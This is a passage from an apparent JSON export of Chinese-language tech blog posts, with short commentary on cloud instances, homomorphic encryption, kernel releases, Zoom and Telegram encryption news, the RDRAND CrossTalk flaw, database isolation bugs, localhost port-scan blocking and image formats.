上唯一的缺點應該是單核的時脈比較低，這在捉機上的領域裡面來說，遇到一些沒有做好多核最佳化的遊戲時 Intel 的表現會比較好，其他的情況其實都可以看出 AMD 幹爆 Intel。\r\n\r\n如果你在 AWS 上跑的應用程式也有類似需要吃單核效能，無法充分使用多核環境時，還是可以回頭看一下 <code>c5</code> 系列，頻率會高一些：\r\n\r\n<blockquote>C5 and C5d instances feature either the 1st or 2nd generation Intel Xeon Platinum 8000 series processor (Skylake-SP or Cascade Lake) with a sustained all core Turbo CPU clock speed of up to 3.6 GHz. The new C5 and C5d 12xlarge, 24xlarge, and metal instance sizes feature the 2nd generation Intel Xeon Scalable Processors (Cascade Lake) with a sustained all-core Turbo CPU frequency of 3.6GHz.</blockquote>\r\n\r\n說到這個，Linus 前陣子在發表 5.7-rc7 的時候也說換了 AMD 的 3970x，整個處理 kernel 編譯的速度是用倍數在改善：「<a href=\"https://lkml.org/lkml/2020/5/24/407\">Linux 5.7-rc7</a>」：\r\n\r\n<blockquote>In fact, the biggest excitement this week for me was just that I upgraded my main machine, and for the first time in about 15 years, my desktop isn't Intel-based. No, I didn't switch to ARM yet, but I'm now rocking an AMD Threadripper 3970x. My 'allmodconfig' test builds are now three times faster than they used to be, which doesn't matter so much right now during the calming down period, but I will most definitely notice the upgrade during the next merge window.</blockquote>\r\n\r\n回到 AWS 這邊... 目前有提供的區域來說，歐美比較大的區域都在首發清單，台灣這邊比較常用的東京還沒有看到，不過公司在用的新加坡上了：\r\n\r\n<blockquote>You can launch C5a instances today in eight sizes in the US East (N. Virginia), US East (Ohio), US West (Oregon), Europe (Ireland), Europe (Frankfurt), Asia Pacific (Sydney), and Asia Pacific (Singapore) Regions in On-Demand, Spot, and Reserved Instance or as part of a Savings Plan.</blockquote>\r\n\r\n如果沒有什麼特別成本壓力的人，可以等一陣子看看有沒有其他人丟效能測試出來，看看 CPU 的計算能力是不是可以無痛換過去... (這邊是相較於 <a href=\"https://www.arm.com/\">ARM</a> 那邊)",
    "title": "Amazon EC2 推出 AMD 版本的 C5a 主機"
  },
  {
    "id": "9566",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"https://www.ibm.com/blogs/research/2020/06/ibm-releases-fully-homomorphic-encryption-toolkit-for-macos-and-ios-linux-and-android-coming-soon/\">IBM Releases Fully Homomorphic Encryption Toolkit for MacOS and iOS; Linux and Android Coming Soon</a>」這個消息，主要是 <a href=\"https://www.research.ibm.com/\">IBM Research</a> 要放出一些跟 Fully Homomorphic Encryption (FHE) 的 library。\r\n\r\n<a href=\"https://en.wikipedia.org/wiki/Homomorphic_encryption\">Homomorphic encryption</a> 講的是直接對密文操作：(這邊的 [latex]\\cdot[/latex] 是操作，可能是加法，也可能是乘法，或是其他類型)\r\n\r\n[latex]C_1 = enc(P_1)[/latex]\r\n[latex]C_2 = enc(P_2)[/latex]\r\n\r\n[latex]enc(P_1 \\cdot P_2) = enc(P_1) \\cdot enc(P_2) = C_1 \\cdot C_2[/latex]\r\n\r\n也就是說，不需要把 Ciphertext 解成 Plaintext 處理完後再加密回去 (這有安全性與隱私的問題)，而是直接對兩個 Ciphertext 計算就可以了。\r\n\r\n之前還在學校學密碼學的時候 (大概 2005 與 2006)，有翻到 <a href=\"https://en.wikipedia.org/wiki/Homomorphic_encryption\">Homomorphic encryption</a> 中的 Fully Homomorphic Encryption (FHE) 是尚未被解決的問題，當時的解法都是特殊解。\r\n\r\n剛剛因為看到上面那篇文章，查了一下發現原來在 2009 的時候 <a href=\"https://en.wikipedia.org/wiki/Craig_Gentry_(computer_scientist)\">Craig Gentry</a> 提出了一套方法，用 <a href=\"https://en.wikipedia.org/wiki/Lattice-based_cryptography\">Lattice-based cryptogtaphy</a> 建構出加法與乘法的操作，也就達成了 FHE 的低標。\r\n\r\n查資料的時候發現 1) 他論文只用了十頁 2) 這是他的博班論文，解掉這個 <a href=\"https://en.wikipedia.org/wiki/Open_problem\">open problem</a>，不過看到他的博班指導教授是 <a href=\"https://en.wikipedia.org/wiki/Dan_Boneh\">Dan Boneh</a> 好像不意外... XD\r\n\r\n(雖然只用了十頁主要還是因為 <a href=\"https://en.wikipedia.org/wiki/Symposium_on_Theory_of_Computing\">STOC</a> 篇幅的關係，但扣掉 circuit privacy 的部份，前面在說明建構與證明的過程只用了九頁也是很驚人)\r\n\r\n然後接下來的幾年他又跟其他幾位學者改進了不少效能上的問題，在英文版維基百科上可以翻到有好幾個不同世代的 FHE。",
    "title": "原來 Fully Homomorphic Encryption 已經被解啦..."
  },
  {
    "id": "9569",
    "body": "在「<a href=\"https://www.phoronix.com/scan.php?page=article&item=linux-57-features&amp;num=1\">The New Features Of The Linux 5.7 Kernel: Tiger Lake Graphics Stable, New exFAT, Zstd F2FS, Performance</a>」這邊有列出重點來。\r\n\r\n其中把過熱保護機制也一起考慮進來，這樣可以避免過熱被強制降速而反而變非常慢：\r\n\r\n<blockquote>Thermal pressure tracking for systems that are thermally overloaded for better task placement on CPU cores running hot.</blockquote>\r\n\r\n另外一個是把 <a href=\"https://en.wikipedia.org/wiki/ExFAT\">exFAT</a> 驅動換成由 <a href=\"https://www.samsung.com/\">Samsung</a> 維護的版本，照其他文章的說明，這個版本比較穩定...\r\n\r\n<blockquote>The new exFAT file-system driver that replaces the exFAT driver in the staging area that had been around for a few releases. This new exFAT driver is in much better shape and actively maintained by Samsung.</blockquote>\r\n\r\n主要還是過熱保護那段還蠻值得期待，不然就是要硬上水冷壓，避免遇到溫度牆...",
    "title": "Linux Kernel 5.7 釋出..."
  },
  {
    "id": "9570",
    "body": "<a href=\"https://zoom.us/\">Zoom</a> 解釋免費版將不會有 End-to-end encryption 的時候，大家都傻翻了：「<a href=\"https://www.schneier.com/blog/archives/2020/06/zooms_commitmen.html\">Zoom's Commitment to User Security Depends on Whether you Pay It or Not</a>」，這邊 Bruce Schneier 引用了 <a href=\"https://www.bloomberg.com/\">Bloomberg</a> 對 Zoom 的 CEO 袁征的訪談：「<a href=\"https://www.bloomberg.com/news/articles/2020-06-02/zoom-transforms-hype-into-huge-jump-in-sales-customers\">Zoom Transforms Hype Into Huge Jump in Sales, Customers</a>」。\r\n\r\n<blockquote>Corporate clients will get access to Zoom’s end-to-end encryption service now being developed, but Yuan said free users won’t enjoy that level of privacy, which makes it impossible for third parties to decipher communications.\r\n\r\n“Free users for sure we don’t want to give that because we also want to work together with FBI, with local law enforcement in case some people use Zoom for a bad purpose,” Yuan said on the call.</blockquote>\r\n\r\n繼續看隔壁棚的發展...",
    "title": "Zoom 不提供 End-to-end Encryption 給免費版用戶"
  },
  {
    "id": "9571",
    "body": "在正妹 wens 的 <a href=\"https://www.facebook.com/\">Facebook</a> 上看到的，<a href=\"https://www.intel.com/\">Intel</a> 的 <a href=\"https://en.wikipedia.org/wiki/RDRAND\">RDRAND</a> 因為有安全漏洞 (<a href=\"https://www.vusec.net/projects/crosstalk/\">CrossTalk/SRBDS</a>)，新推出的修正使得 RDRAND 只有原來的 3% 效能：\r\n\r\n<ul>\r\n\t<li><a href=\"https://www.phoronix.com/scan.php?page=news_item&amp;px=CrossTalk-Buffer-Data-Sampling\">\"CrossTalk\" / SRBDS Is The Newest Side-Channel Vulnerability</a></li>\r\n\t<li><a href=\"https://www.phoronix.com/scan.php?page=article&amp;item=crosstalk-srbds-vulnerability&amp;num=1\">CrossTalk/SRBDS Shows Possibility Of Leaking Information Across Physical CPU Cores</a></li>\r\n\t<li><a href=\"https://www.phoronix.com/scan.php?page=news_item&amp;px=RdRand-3-Percent\">RdRand Performance As Bad As ~3% Original Speed With CrossTalk/SRBDS Mitigation</a></li>\r\n</ul>\r\n\r\n從危機百科上看，大概是因為這個指令集有 compliance 的要求，所以這個安全性漏洞必須在安全性上修到乾淨，所以使用了暴力鎖硬解，造成效能掉這麼多：\r\n\r\n<blockquote>The random number generator is compliant with security and cryptographic standards such as NIST SP 800-90A, FIPS 140-2, and ANSI X9.82.</blockquote>\r\n\r\n不過畢竟這個指令不是常常被使用，一般使用者的影響應該是還好：\r\n\r\n<blockquote>As explained in the earlier article, mitigating CrossTalk involves locking the entire memory bus before updating the staging buffer and unlocking it after the contents have been cleared. This locking and serialization now involved for those instructions is very brutal on the performance, but thankfully most real-world workloads shouldn't be making too much use of these instructions.</blockquote>\r\n\r\n另外這個漏洞早在 2018 九月的時候就通報 Intel 提了，但最後花了超過一年半時間才更新，這算是當初在提 Bug Bounty 制度時可能的缺點，在這次算是比較明顯：\r\n\r\n<blockquote>We disclosed an initial PoC (Proof-Of-Concept) showing the leakage of staging buffer content in September 2018, followed by a PoC implementing cross-core RDRAND/RDSEED leakage in July 2019. Following our reports, Intel acknowledged the vulnerabilities, rewarded CrossTalk with the Intel Bug Bounty (Side Channel) Program, and attributed the disclosure to our team with no other independent finders. Intel also requested an embargo until May 2020 (later extended), due to the difficulty of implementing a fix for the cross-core vulnerabilities identified in this paper.</blockquote>\r\n\r\n回到原來的 bug，主要還是 Intel 架構上的問題造成大家打得很愉快，現在 Intel 這邊的架構對於資安研究員仍然是個大家熱愛的地方... (因為用的使用者太多)",
    "title": "Intel 的 RDRAND 爆炸..."
  },
  {
    "id": "9573",
    "body": "恭賀 <a href=\"https://zonble.net/\">zonble</a> 畢業：\r\n\r\n<a href=\"https://i.gslin.com/imgur/R3qDaBi.jpg\"><img src=\"https://i.gslin.com/imgur/R3qDaBi.jpg\" alt=\"\" /></a>\r\n\r\n另外來順便帶出這張合照，現在也進不去日本了...：\r\n\r\n(出自「<a href=\"https://zonble.net/archives/2015_03/1673.php\">當秋葉原的女僕轉過頭來跟我說了一句話，我和我的小夥伴們都驚呆了</a>」)\r\n\r\n<a href=\"https://www.flickr.com/photos/zonble/16797482810\"><img src=\"https://live.staticflickr.com/7624/16797482810_578cb044b2_c.jpg\" alt=\"\" /></a>",
    "title": "開始與結束"
  },
  {
    "id": "9574",
    "body": "美國在今年有不少學校開始跟進，終止與 <a href=\"https://en.wikipedia.org/wiki/Elsevier\">Elsevier</a> 的合約了。\r\n\r\n首先是去年 (2019) 三月加州大學系統宣佈不跟 Elsevier 續約 (參考當時寫的「<a href=\"https://blog.gslin.org/archives/2019/03/04/8775/%E5%8A%A0%E5%B7%9E%E5%A4%A7%E5%AD%B8%E5%AE%A3%E4%BD%88%E4%B8%8D%E8%88%87-elsevier-%E7%BA%8C%E7%B4%84/\">加州大學宣佈不與 Elsevier 續約</a>」這篇)，今年四月則是北卡大學系統宣佈不續約：「<a href=\"https://library.unc.edu/2020/04/upcoming-elsevier-cancellations/\">Upcoming Elsevier Cancellations</a>」，以及紐約大學系統也宣佈不續約：「<a href=\"http://slcny.libguides.com/slc/elsevier2020update\">State University of New York Steps Away From the “Big Deal” with Elsevier</a>」。\r\n\r\n到這邊看到的消息主要都是公立學校系統在開槍，直到前幾天 <a href=\"https://www.mit.edu/\">MIT</a> 也放新聞稿開槍宣佈不續約了，這應該是第一個頂級的私校開槍的消息：「<a href=\"https://news.mit.edu/2020/guided-by-open-access-principles-mit-ends-elsevier-negotiations-0611\">MIT, guided by open access principles, ends Elsevier negotiations</a>」。\r\n\r\n維基機百科上查資料的時候，發現台灣在 2016 年底 <a href=\"http://concert.stpi.narl.org.tw/\">CONCERT</a> 就宣佈放掉 Elsevier 了，當時有發稿出來：「<a href=\"https://www.lib.nccu.edu.tw/refe/CONCERT_STATEMENT.pdf\">關於 Elsevier 資料庫合約談判 CONCERT 聲明</a>」。\r\n\r\n<blockquote>In Taiwan more than 75% of universities, including the region's top 11 institutions, have joined a collective boycott against Elsevier. On 7 December 2016, the Taiwanese consortium, CONCERT, which represents more than 140 institutions, announced it would not renew its contract with Elsevier.</blockquote>",
    "title": "MIT 終止與 Elsevier 的合約"
  },
  {
    "id": "9575",
    "body": "在「<a href=\"https://www.debugbear.com/blog/2020-chrome-extension-performance-report\">2020 Chrome Extension Performance Report</a>」這邊看到有人對 <a href=\"https://chrome.google.com/extensions/\">Chrome Extension</a> 上前一千名的效能分析，作者有提到是在 <a href=\"https://cloud.google.com/\">GCP</a> 上的虛擬機測試的，跑七次取中位數：\r\n\r\n<blockquote>I ran these tests on an n2-standard-2 Google Cloud instance, the numbers in this report show the median of 7 runs.</blockquote>\r\n\r\n在「<a href=\"https://www.debugbear.com/chrome-extension-performance-lookup\">Chrome Extension Performance Lookup</a>」這頁可以直接互動查詢，像是丟入 <code>block</code> 找跟擋廣告有關的關鍵字可以看到：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Vjd7f5X.webp\" /><img src=\"https://i.gslin.com/imgur/Vjd7f5X.jpg\" alt=\"\" /></picture>\r\n\r\n只看一般性的 blocker (中間還有 VPN 與一些不是一般性的先跳過)，沒什麼意外的 <a href=\"https://en.wikipedia.org/wiki/UBlock_Origin\">uBlock Origin</a> 的表現很好。\r\n\r\n文章內的說明也可以翻一下，看看有沒有哪些 extension 其實不是很必要，但卻榜上有名，可以考慮拔掉省時間與資源...",
    "title": "Chrome Extension 的效能分析"
  },
  {
    "id": "9577",
    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上看到這則推，講到在 <a href=\"https://en.wikipedia.org/wiki/SQL-92\">SQL-92</a> 裡面 <a href=\"https://en.wikipedia.org/wiki/Isolation_(database_systems)\">Isolation Level</a> 定義的背景：\r\n\r\n<blockquote class=\"twitter-tweet\"><p lang=\"en\" dir=\"ltr\">.<a href=\"https://twitter.com/halberenson?ref_src=twsrc%5Etfw\">@halberenson</a> sent me an amazing email last year about why the ANSI SQL isolation levels got muddied up. I&#39;m sure he can share more details about what happened. <a href=\"https://t.co/Z4iWD4siPg\">pic.twitter.com/Z4iWD4siPg</a></p>&mdash; Andy Pavlo (@andy_pavlo) <a href=\"https://twitter.com/andy_pavlo/status/1271448719486001154?ref_src=twsrc%5Etfw\">June 12, 2020</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n先是講了為什麼有 <code>SERIALIZABLE</code>、<code>REPEATABLE READ</code> 與 <code>READ COMMITTED</code>，然後講為什麼是用 anomalies 定義 (除了 <code>SERIALIZABLE</code>)，也因此造成了定義不清楚而導致問題。\r\n\r\nSQL-92 的 isolation 問題後來在其他文件裡面有被討論，像是 1995 年的「<a href=\"https://www.microsoft.com/en-us/research/publication/a-critique-of-ansi-sql-isolation-levels/\">A Critique of ANSI SQL Isolation Levels</a>」，以及 2000 年的論文「<a href=\"http://pmg.csail.mit.edu/papers/icde00.pdf\">Generalized Isolation Level Definitions</a>」，過了二十年後的現在，大家也都大概知道有哪些雷區了。\r\n\r\n另外講到 Isolation Level，實務上會希望知道 database 與標準之間的差異，在「<a href=\"https://github.com/ept/hermitage\">Hermitage: Testing transaction isolation levels</a>」這篇可以看到各家 RDBMS 在不同設定下實際的 isolation level，包括了 open source 的 <a href=\"https://dev.mysql.com/\">MySQL</a> 與 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 與商用常遇到的 <a href=\"https://www.oracle.com/\">Oracle</a> 與 <a href=\"https://www.microsoft.com/sql-server/\">Microsoft SQL Server</a>。\r\n\r\nMySQL 的 <code>REPEATABLE READ</code> 因為 SQL-92 的定義不清楚，所以大概知道這邊本來就有爭議，比較意外的反倒是 Oracle 裡面的 <code>SERIALIZABLE</code> 實際上是 Snapshot Isolation，沒有辦法達到 SQL-92 裡面最高等級的 Isolation Level。\r\n\r\n然後發現有些知識還是有漏，趁這個機會補...",
    "title": "SQL-92 裡定義 Isolation Level 的背景"
  },
  {
    "id": "9578",
    "body": "<a href=\"https://aws.amazon.com/lambda/\">AWS Lambda</a> 可以掛 <a href=\"https://aws.amazon.com/efs/\">Amazon EFS</a> 了：「<a href=\"https://aws.amazon.com/blogs/aws/new-a-shared-file-system-for-your-lambda-functions/\">New – A Shared File System for Your Lambda Functions</a>」。\r\n\r\n這有點像是一開始 <a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 只能把資料存到 <a href=\"https://aws.amazon.com/s3/\">Amazon S3</a> 上，後來支援 <a href=\"https://aws.amazon.com/ebs/\">EBS</a> 的感覺：這使得很多程式可以直接用內建的 library 操作檔案系統，而不需要掛 <a href=\"https://aws.amazon.com/\">AWS</a> 專用的 library 操作 Amazon S3。\r\n\r\n有了一個 filesystem 後馬上就可以想到很多惡搞的方法，像是用 lambda 搞 serverless PHP 之類的，之後應該會看到很有「創意」的玩法...",
    "title": "Lambda 可以掛 EFS 了"
  },
  {
    "id": "9579",
    "body": "先前在「<a href=\"https://blog.gslin.org/archives/2020/06/10/9570/zoom-%e4%b8%8d%e6%8f%90%e4%be%9b-end-to-end-encryption-%e7%b5%a6%e5%85%8d%e8%b2%bb%e7%89%88%e7%94%a8%e6%88%b6/\">Zoom 不提供 End-to-end Encryption 給免費版用戶</a>」這邊提到的事情，剛剛看到 <a href=\"https://zoom.us/\">Zoom</a> 宣佈改變策略，變成無論是付費還是免費的使用者都會提供 End-to-end encryption：「<a href=\"https://blog.zoom.us/wordpress/2020/06/17/end-to-end-encryption-update/\">End-to-End Encryption Update</a>」。\r\n\r\nFree/Basic 的使用者要認證才能用這個功能：\r\n\r\n<blockquote>To make this possible, Free/Basic users seeking access to E2EE will participate in a one-time process that will prompt the user for additional pieces of information, such as verifying a phone number via a text message.</blockquote>\r\n\r\n還是很怪，繼續觀望...",
    "title": "Zoom 最後決定所有使用者都有 End-to-end encryption 了"
  },
  {
    "id": "9581",
    "body": "上個禮拜鬧的頗兇的話題，<a href=\"https://www.google.com/chrome/\">Google Chrome</a> 又要對 URL 搞事了：「<a href=\"https://www.androidpolice.com/2020/06/12/google-resumes-its-senseless-attack-on-the-url-bar-hides-full-addresses-on-chrome-canary/\">Google resumes its senseless attack on the URL bar, hides full addresses on Chrome 85</a>」。\r\n\r\n這次是打算把整個 path 藏起來：\r\n\r\n<blockquote>A few new feature flags have appeared in Chrome's Dev and Canary channels (V85), which modify the appearance and behavior of web addresses in the address bar. The main flag is called \"Omnibox UI Hide Steady-State URL Path, Query, and Ref\" which hides everything in the current web address except the domain name. For example, \"https://www.androidpolice.com/2020/06/07/lenovo-ideapad-flex-5-chromebook-review/\" is simply displayed as \"androidpolice.com.\"</blockquote>\r\n\r\n來繼續等 3rd-party browser 成熟...",
    "title": "Google Chrome 又要對 URL 搞事了..."
  },
  {
    "id": "9582",
    "body": "這是 <a href=\"http://jepsen.io/\">Jespen</a> 第一次測試 <a href=\"https://www.postgresql.org/\">PostgreSQL</a>，就順利找出可重製的 bug 了：「<a href=\"http://jepsen.io/analyses/postgresql-12.3\">PostgreSQL 12.3</a>」。\r\n\r\n第一個 bug 是 <code>REPEATABLE READ</code> 下的問題，不過因為 <a href=\"https://en.wikipedia.org/wiki/SQL-92\">SQL-92</a> 定義不夠嚴謹的關係，其實算不算是 bug 有討論的空間，這點作者 Kyle Kingsbury 在文章裡也有提出來：\r\n\r\n<blockquote>Whether PostgreSQL’s repeatable-read behavior is correct therefore depends on one’s interpretation of the standard. It is surprising that a database based on snapshot isolation would reject the strict interpretation chosen by the seminal paper on SI, but on reflection, the behavior is defensible.</blockquote>\r\n\r\n另外一個就比較沒問題了，是 <code>SERIALIZABLE</code> 下的 bug，在 SQL-92 下對 <code>SERIALIZABLE</code> 的定義是這樣：\r\n\r\n<blockquote>The execution of concurrent SQL-transactions at isolation level SERIALIZABLE is guaranteed to be serializable. A serializable execution is defined to be an execution of the operations of concurrently executing SQL-transactions that produces the same effect as some serial execution of those same SQL-transactions. A serial execution is one in which each SQL-transaction executes to completion before the next SQL-transaction begins.</blockquote>\r\n\r\n也就是說，在 <code>SERIALIZABLE</code> 下一堆 transaction 的執行結果，你至少可以找到一組排序，使得這些 transaction 的結果是等價的。\r\n\r\n而 Jespen 順利找出了一組 transaction (兩個 transaction)，在 <code>SERIALIZABLE</code> 下都成功 (但不應該成功)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/EPOfZDG.webp\" /><img src=\"https://i.gslin.com/imgur/EPOfZDG.jpg\" alt=\"\" /></picture>\r\n\r\n對於這兩個 transaction，不論是上面這條先執行，還是下面這條先執行，都不存在等價的結果，所以不符合 <code>SERIALIZABLE</code> 的要求。\r\n\r\n另外也找到一個包括三個 transaction 的情況：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/aPQuSfH.webp\" /><img src=\"https://i.gslin.com/imgur/aPQuSfH.jpg\" alt=\"\" /></picture>\r\n\r\n把 transaction 依照執行的結果把 dependency 拉出來，就可以看出來裡面產生了 loop，代表不可能在 <code>SERIALIZABLE</code> 下三個都成功。\r\n\r\n在 Jespen 找到這些 bug 後，PostgreSQL 方面也找到軟體內產生 bug 的部份，並且修正了：「<a href=\"https://git.postgresql.org/gitweb/?p=postgresql.git;a=commit;h=5940ffb221316ab73e6fdc780dfe9a07d4221ebb\">Avoid update conflict out serialization anomalies.</a>」，看起來是在 PostgreSQL 引入 Serializable Snapshot Isolation (SSI) 的時候就有這個 bug，所以 9.1 以後的版本都有這個問題...\r\n\r\n這次順利打下來，測得很漂亮啊... 翻了一下 Jespen 上的記錄，發現好像還沒測過 <a href=\"https://dev.mysql.com/\">MySQL</a>，應該會是後續的目標？",
    "title": "PostgreSQL 的 SERIALIZABLE 的 bug"
  },
  {
    "id": "9583",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的服務：「<a href=\"https://rssbox.herokuapp.com/\">RSS Box</a>」，主要是有 open source，所以可以自己架起來跑 (只是得自己生 API key)：「<a href=\"https://github.com/stefansundin/rssbox\">RSS Box</a>」。\r\n\r\n測了一下目前的站台，<a href=\"https://twitter.com/\">Twitter</a> 與 <a href=\"https://www.instagram.com/\">Instagram</a> 的部份都已經撞到 rate limit，而 <a href=\"https://www.youtube.com/\">YouTube</a> 的部份正常。\r\n\r\n我自己也有寫類似的東西，不過就不是透過 API 了，像是先前 Instagram 對於沒有登入的人還可以看到頁面內容，所以有在 <a href=\"https://github.com/hasname/feedgen\">feedgen</a> 上寫了一個 parse HTML 的版本出來，最近需要強制登入後也不行了，可能拔一拔收工...",
    "title": "提供社群網站 RSS feed 的服務"
  },
  {
    "id": "9584",
    "body": "雖然路透社的標題寫的像是俄羅斯政府是因為放棄封鎖 <a href=\"https://telegram.org/\">Telegram</a>，不過讀一下內文就會發現完全不一樣：「<a href=\"https://www.reuters.com/article/us-russia-telegram-ban/russia-lifts-ban-on-telegram-messaging-app-after-failing-to-block-it-idUSKBN23P2FT\">Russia lifts ban on Telegram messaging app after failing to block it</a>」。\r\n\r\n報導上看起來是俄羅斯政府說 Telegram 會與政府合作打擊恐怖份子，所以解封 (先不要管「恐怖主義」之類的詞，這常常是打擊異己時用的詞彙)：\r\n\r\n<blockquote>Some Russian media cast the move as a capitulation, but communications watchdog Roskomnadzor said it had acted because the app’s Russian founder, Pavel Durov, was prepared to cooperate in combating terrorism and extremism on the platform.\r\n\r\n“Roskomnadzor is dropping its demands to restrict access to Telegram messenger in agreement with Russia’s general prosecutor’s office,” it said in a statement.</blockquote>\r\n\r\n現在的重點會在於 Telegram 會不會解釋，以及解釋的內容 (目前是還沒有)：\r\n\r\n<blockquote>There was no immediate reaction from Telegram or Durov.</blockquote>\r\n\r\n因為劇本有可能是 1) Telegram 根本沒跟俄羅斯政府接觸，純粹是俄羅斯政府想搞 Telegram，或是 2) 有接觸，但談的跟報導的差很多，或是 3) 就是 Telegram 放棄掙扎了。\r\n\r\n後續的 Telegram 回應會是重點，另外 end-to-end encryption (E2E Encryption) 的承諾會有什麼樣的變化也會是重點。\r\n\r\n我猜測比較可能的應該是有合作，但控制權在 Telegram 手上，並不是直接讓俄羅斯政府碰 Telegram 的內部系統，不過一切都還得等後續的消息才能確認...",
    "title": "Telegram 開始跟俄羅斯政府合作"
  },
  {
    "id": "9586",
    "body": "<a href=\"https://www.hashicorp.com/\">HashiCorp</a> 宣佈了 <a href=\"https://www.hashicorp.com/cloud-platform/\">HashiCorp Cloud Platform</a> 這個產品：「<a href=\"https://www.hashicorp.com/blog/announcing-cloud-platform/\">Announcing the HashiCorp Cloud Platform</a>」。\r\n\r\n不是自己弄機房建 cloud，而是在既有的 cloud 上提供服務，就不需要自己架了：\r\n\r\n<blockquote>HashiCorp Cloud Platform (HCP) is a fully managed platform offering HashiCorp products as a service to automate infrastructure on any cloud.\r\n\r\nHCP Consul on AWS is now available in private beta. HCP Vault coming soon.</blockquote>\r\n\r\n照目前公開的資料，第一個支援的是 <a href=\"https://aws.amazon.com/\">AWS</a> 上的 <a href=\"https://www.consul.io/\">Consul</a>，下一個是 <a href=\"https://www.vaultproject.io/\">Vault</a>，然後目前推出的是 early access，看起來是走 pay-as-you-go 的模式收費：\r\n\r\n<blockquote>Push-button deployments\r\n\r\nProduction-grade infrastructure, built-in security, and pay-as-you-go pricing accelerate cloud adoption.</blockquote>\r\n\r\n有點像是 <a href=\"https://www.confluent.io/\">Confluent</a> 對 <a href=\"https://kafka.apache.org/\">Kafka</a> 的玩法，不過 Kafka 光是架設就難搞很多，有他的市場在，另外 Confluent 走的是報價模式，需要找業務提供報價...\r\n\r\nHashiCorp 這邊架設簡單不少，不知道玩不玩的起來...",
    "title": "HashiCorp 推出 HashiCorp Cloud Platform"
  },
  {
    "id": "9587",
    "body": "五月的時候，<a href=\"https://duckduckgo.com/\">DuckDuckGo</a> 的 <a href=\"https://nullsweep.com/\">Charlie Belmer</a> 發了一篇關於網站透過瀏覽器掃 localhost 的文章，引起了不少重視：「<a href=\"https://nullsweep.com/why-is-this-website-port-scanning-me/\">Why is This Website Port Scanning me?</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/kfp8A8W.webp\" /><img src=\"https://i.gslin.com/imgur/kfp8A8W.jpg\" alt=\"\" /></picture>\r\n\r\n這個月陸陸續續看到一些反制方式了，比較簡單的是透過像 <a href=\"https://en.wikipedia.org/wiki/UBlock_Origin\">uBlock Origin</a> 這類可以擋特定 url 的方式，像是 <a href=\"https://easylist.to/tag/easyprivacy.html\">EasyPrivacy</a> 裡面把一些大站台的 javascript script 擋下來：「<a href=\"https://www.bleepingcomputer.com/news/security/ublock-origin-ad-blocker-now-blocks-port-scans-on-most-sites/\">uBlock Origin ad blocker now blocks port scans on most sites</a>」。\r\n\r\n在同一篇文章的 comment 處也有人提到 uBlock Origin 可以做的更廣泛：「<a href=\"https://github.com/uBlockOrigin/uAssets/issues/4318\">Block access to 127.0.0.1/localhost and LAN address from the internet #4318</a>」，裡面有人已經整理好丟出來了：「<a href=\"https://raw.githubusercontent.com/gwarser/filter-lists/master/lan-block.txt\">lan-block.txt</a>」，看起來也可以擋一些...\r\n\r\n要擋得比較完整的還得考慮 <code>scan.example.com IN A 127.0.0.1</code> 這種方式繞過去的情況？這可能需要用 extension 了...",
    "title": "阻擋網站透過瀏覽器掃 localhost"
  },
  {
    "id": "9588",
    "body": "在「<a href=\"https://siipo.la/blog/is-webp-really-better-than-jpeg\">Is WebP really better than JPEG?</a>」這邊發現在差不多的條件需求下，<a href=\"https://en.wikipedia.org/wiki/WebP\">WebP</a> 壓出來的檔案大小未必會比 <a href=\"https://en.wikipedia.org/wiki/JPEG\">JPEG</a> 小。\r\n\r\n先講結論：提供服務的人可以先確認自家的 JPEG 壓縮是不是有先用 <a href=\"https://github.com/mozilla/mozjpeg\">MozJPEG</a> (壓縮率更好)，然後再考慮要不要支援 WebP。\r\n\r\n<a href=\"https://www.google.com/\">Google</a> 在推 WebP 這個格式的時候，宣稱失真壓縮的部份可以比 JPEG 小 25%～34%：(出自「<a href=\"https://developers.google.com/speed/webp/\">A new image format for the Web</a>」)\r\n\r\n<blockquote>WebP lossless images are 26% smaller in size compared to PNGs. WebP lossy images are 25-34% smaller than comparable JPEG images at equivalent SSIM quality index.</blockquote>\r\n\r\n但作者發現 Google 之所以可以達到 25%～34% 這個數字，是因為比較的對象是 <a href=\"http://ijg.org/\">Independent JPEG Group</a> 所釋出的 <a href=\"https://en.wikipedia.org/wiki/Libjpeg\">cjpeg</a>，而如果拿 MozJPEG 相比的話應該得不到這個結果，另外也把 <a href=\"https://en.wikipedia.org/wiki/AV1\">AV1</a> 的 AVIF 拉進來一起測試了：\r\n\r\n<blockquote>I think Google’s result of 25-34% smaller files is mostly caused by the fact that they compared their WebP encoder to the JPEG reference implementation, Independent JPEG Group’s cjpeg, not Mozilla’s improved MozJPEG encoder. I decided to run some tests to see how cjpeg, MozJPEG and WebP compare. I also tested the new AVIF format, based on the open AV1 video codec. AVIF support is already in Firefox behind a flag and should be coming soon to Chrome if this ticket is to be believed.</blockquote>\r\n\r\n這邊作者測試用的圖集是 <a href=\"http://r0k.us/graphics/kodak/\">Kodak Lossless True Color Image Suite</a>，測試的結果發現 WebP 的確比 libjpeg (cjpeg) 好一些，但沒有像 Google 講的那麼多 (這邊就不知道是不是現在的 libjpeg 又有改善)，而 WebP 與 MozJPEG 相比的話就沒有明顯優勢了：\r\n\r\n<blockquote>WebP seems to have about 10% better compression compared to libjpeg in most cases, except with 1500px images where the compression is about equal.\r\n\r\nHowever, when compared to MozJPEG, WebP only performs better with small 500px images. With other image sizes the compression is equal or worse.\r\n\r\nI think MozJPEG is the clear winner here with consistently about 10% better compression than libjpeg.</blockquote>\r\n\r\n另外也提到了 AVIF 的壓縮率很好，不過要注意演算法會把非重點部位的細節吃掉：\r\n\r\n<blockquote>I think AVIF is a really exciting development and compared to WebP it seems like a true next-generation codec with about 30% better compression ratio compared to libjpeg. Only concern I have is the excessive blurring of low detail areas. It remains to be seen if this can be improved when more advanced tooling becomes available.</blockquote>\r\n\r\n對網頁的應用來說，WebP 